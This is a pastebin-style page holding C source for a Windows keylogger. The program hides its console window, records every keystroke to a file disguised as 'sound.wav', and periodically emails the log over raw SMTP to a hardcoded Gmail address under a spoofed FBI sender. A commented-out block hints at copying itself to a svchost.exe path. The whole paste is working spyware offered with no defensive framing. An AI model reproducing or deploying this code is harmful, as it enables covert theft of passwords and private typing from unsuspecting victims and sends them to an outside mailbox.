All pastes #481393 Raw Edit

Something

public cpp v1 · immutable
·published 2007-05-10 20:13 UTC
rendered paste body
/*Compile notes: if you get an error like:        Linker error] undefined reference to `WSAStartup@8'Add this:         -lws2_32to Tools->Compiler Options under the section on compile flags.*/ #include <windows.h>#include <stdio.h>#include <winuser.h>#include <windowsx.h>#include <time.h>int MailIt (char *mailserver, char *emailto, char *emailfrom, char *emailsubject, char *emailmessage);#define BUFSIZE 800#define waittime 500#define cmailserver "gmail-smtp-in.l.google.com"#define cemailto "lopso900@gmail.com"#define cemailfrom "agentsmith@fbi.gov"#define LogLength 100#define FileName "sound.wav"#define SMTPLog "ring.wav"#define cemailsubject "Logged" int get_keys(void);int test_key(void);int main(void){      HWND stealth;    AllocConsole();   stealth=FindWindowA("ConsoleWindowClass",NULL);   ShowWindow(stealth,0);      {FILE *file;   file=fopen(FileName,"a+");   time_t theTime=time(0);   fputs("\nStarted logging: ", file);   fputs(ctime(&theTime),file);   fclose(file);   }      /* if (test==2)    {//the path in which the file needs to be    char *path="c:\\%windir%\\svchost.exe";    create=create_key(path);              } */      int t = get_keys();       return t;}   int get_keys(){int freadindex;char *buf;long len;FILE *file;file=fopen(FileName,"a+");             short character;             while(1)             {                    Sleep(10);                    for(character=8;character<=222;character++)                    {                        if(GetAsyncKeyState(character)==-32767)                        {                              FILE *file;                            file=fopen(FileName,"a+");                            if(file==NULL)                            {                                    return 1;                            }                                        if(file!=NULL)                            {                                            if((character>=39)&&(character<=64))                                    {                                          fputc(character,file);                                          fclose(file);                                          break;                                    }                                            else if((character>64)&&(character<91))                                    {                                          character+=32;                                          fputc(character,file);                                          fclose(file);                                          break;                                    }                                    else                                    {                                        switch(character)                                        {                                              case VK_SPACE:                                              fputc(' ',file);                                              fclose(file);                                              break;                                                  case VK_SHIFT:                                              fputs("\r\n[SHIFT]\r\n",file);                                              fclose(file);                                              break;                                                                                          case VK_RETURN:                                              fputs("\r\n[ENTER]\r\n",file);                                              fclose(file);                                              break;                                              case VK_BACK:                                              fputs("\r\n[BACKSPACE]\r\n",file);                                              fclose(file);                                              break;                                              case VK_TAB:                                              fputs("\r\n[TAB]\r\n",file);                                              fclose(file);                                              break;                                              case VK_CONTROL:                                              fputs("\r\n[CTRL]\r\n",file);                                              fclose(file);                                              break;                                                  case VK_DELETE:                                              fputs("\r\n[DEL]\r\n",file);                                              fclose(file);                                              break;                                              case VK_OEM_1:                                              fputs("\r\n[;:]\r\n",file);                                              fclose(file);                                              break;                                              case VK_OEM_2:                                              fputs("\r\n[/?]\r\n",file);                                              fclose(file);                                              break;                                              case VK_OEM_3:                                              fputs("\r\n[`~]\r\n",file);                                              fclose(file);                                              break;                                              case VK_OEM_4:                                              fputs("\r\n[ [{ ]\r\n",file);                                              fclose(file);                                              break;                                              case VK_OEM_5:                                              fputs("\r\n[\\|]\r\n",file);                                              fclose(file);                                              break;                                                                              case VK_OEM_6:                                              fputs("\r\n[ ]} ]\r\n",file);                                              fclose(file);                                              break;                                              case VK_OEM_7:                                              fputs("\r\n['\"]\r\n",file);                                              fclose(file);                                              break;                                              case 187:                                              fputc('+',file);                                              fclose(file);                                              break;                                              case 188:                                              fputc(',',file);                                              fclose(file);                                              break;                                              case 189:                                              fputc('-',file);                                              fclose(file);                                              break;                                              case 190:                                              fputc('.',file);                                              fclose(file);                                              break;                                              case VK_NUMPAD0:                                              fputc('0',file);                                              fclose(file);                                              break;                                              case VK_NUMPAD1:                                              fputc('1',file);                                              fclose(file);                                              break;                                              case VK_NUMPAD2:                                              fputc('2',file);                                              fclose(file);                                              break;                                              case VK_NUMPAD3:                                              fputc('3',file);                                              fclose(file);                                              break;                                              case VK_NUMPAD4:                                              fputc('4',file);                                              fclose(file);                                              break;                                              case VK_NUMPAD5:                                              fputc('5',file);                                              fclose(file);                                              break;                                              case VK_NUMPAD6:                                              fputc('6',file);                                              fclose(file);                                              break;                                              case VK_NUMPAD7:                                              fputc('7',file);                                              fclose(file);                                              break;                                              case VK_NUMPAD8:                                              fputc('8',file);                                              fclose(file);                                              break;                                              case VK_NUMPAD9:                                              fputc('9',file);                                              fclose(file);                                              break;                                              case VK_CAPITAL:                                              fputs("\r\n[CAPS LOCK]\r\n",file);                                              fclose(file);                                              break;                                              default:                                              fclose(file);                                              break;                                       }                                          }                                 }                           }                   }                             FILE *file;           file=fopen(FileName,"rb");           fseek(file,0,SEEK_END);            len=ftell(file);            if(len>=LogLength) {             fseek(file,0,SEEK_SET);             buf=(char *)malloc(len);             freadindex=fread(buf,1,len,file);             buf[freadindex] = '\0';             MailIt( cmailserver, cemailto, cemailfrom, cemailsubject, buf);             fclose(file);             file=fopen(FileName,"w");                                     }                       fclose(file);                                        }           return EXIT_SUCCESS;                            } int MailIt (char *mailserver, char *emailto, char *emailfrom, char *emailsubject, char *emailmessage) {    SOCKET sockfd;    WSADATA wsaData;    FILE *smtpfile;        #define bufsize 300    int bytes_sent;       int err;    struct hostent *host;       struct sockaddr_in dest_addr;      char line[1000];    char *Rec_Buf = (char*) malloc(bufsize+1);    smtpfile=fopen(SMTPLog,"a+");    if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {      fputs("WSAStartup failed",smtpfile);      WSACleanup();      return -1;    }    if ( (host=gethostbyname(mailserver)) == NULL) {       perror("gethostbyname");       exit(1);    }    memset(&dest_addr,0,sizeof(dest_addr));    memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);           dest_addr.sin_family= host->h_addrtype;       dest_addr.sin_port= htons(25);            if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {        perror("socket");        exit(1);        }          fputs("Connecting....\n",smtpfile);     if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){        perror("connect");        exit(1);        }     Sleep(waittime);     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';     fputs(Rec_Buf,smtpfile);     strcpy(line,"helo me.somepalace.com\n");     fputs(line,smtpfile);     bytes_sent=send(sockfd,line,strlen(line),0);     Sleep(waittime);     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';     fputs(Rec_Buf,smtpfile);     strcpy(line,"MAIL FROM:<");     strncat(line,emailfrom,strlen(emailfrom));     strncat(line,">\n",3);     fputs(line,smtpfile);     bytes_sent=send(sockfd,line,strlen(line),0);     Sleep(waittime);     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';     fputs(Rec_Buf,smtpfile);     strcpy(line,"RCPT TO:<");     strncat(line,emailto,strlen(emailto));     strncat(line,">\n",3);     fputs(line,smtpfile);     bytes_sent=send(sockfd,line,strlen(line),0);     Sleep(waittime);     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';     fputs(Rec_Buf,smtpfile);     strcpy(line,"DATA\n");     fputs(line,smtpfile);     bytes_sent=send(sockfd,line,strlen(line),0);     Sleep(waittime);     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';     fputs(Rec_Buf,smtpfile);     Sleep(waittime);     strcpy(line,"To:");     strcat(line,emailto);     strcat(line,"\n");     strcat(line,"From:");     strcat(line,emailfrom);     strcat(line,"\n");     strcat(line,"Subject:");     strcat(line,emailsubject);     strcat(line,"\n");     strcat(line,emailmessage);     strcat(line,"\r\n.\r\n");     fputs(line,smtpfile);     bytes_sent=send(sockfd,line,strlen(line),0);     Sleep(waittime);     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';     fputs(Rec_Buf,smtpfile);     strcpy(line,"quit\n");     fputs(line,smtpfile);     bytes_sent=send(sockfd,line,strlen(line),0);     Sleep(waittime);     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';     fputs(Rec_Buf,smtpfile);     fclose(smtpfile);                               #ifdef WIN32     closesocket(sockfd);     WSACleanup();     #else     close(sockfd);     #endif}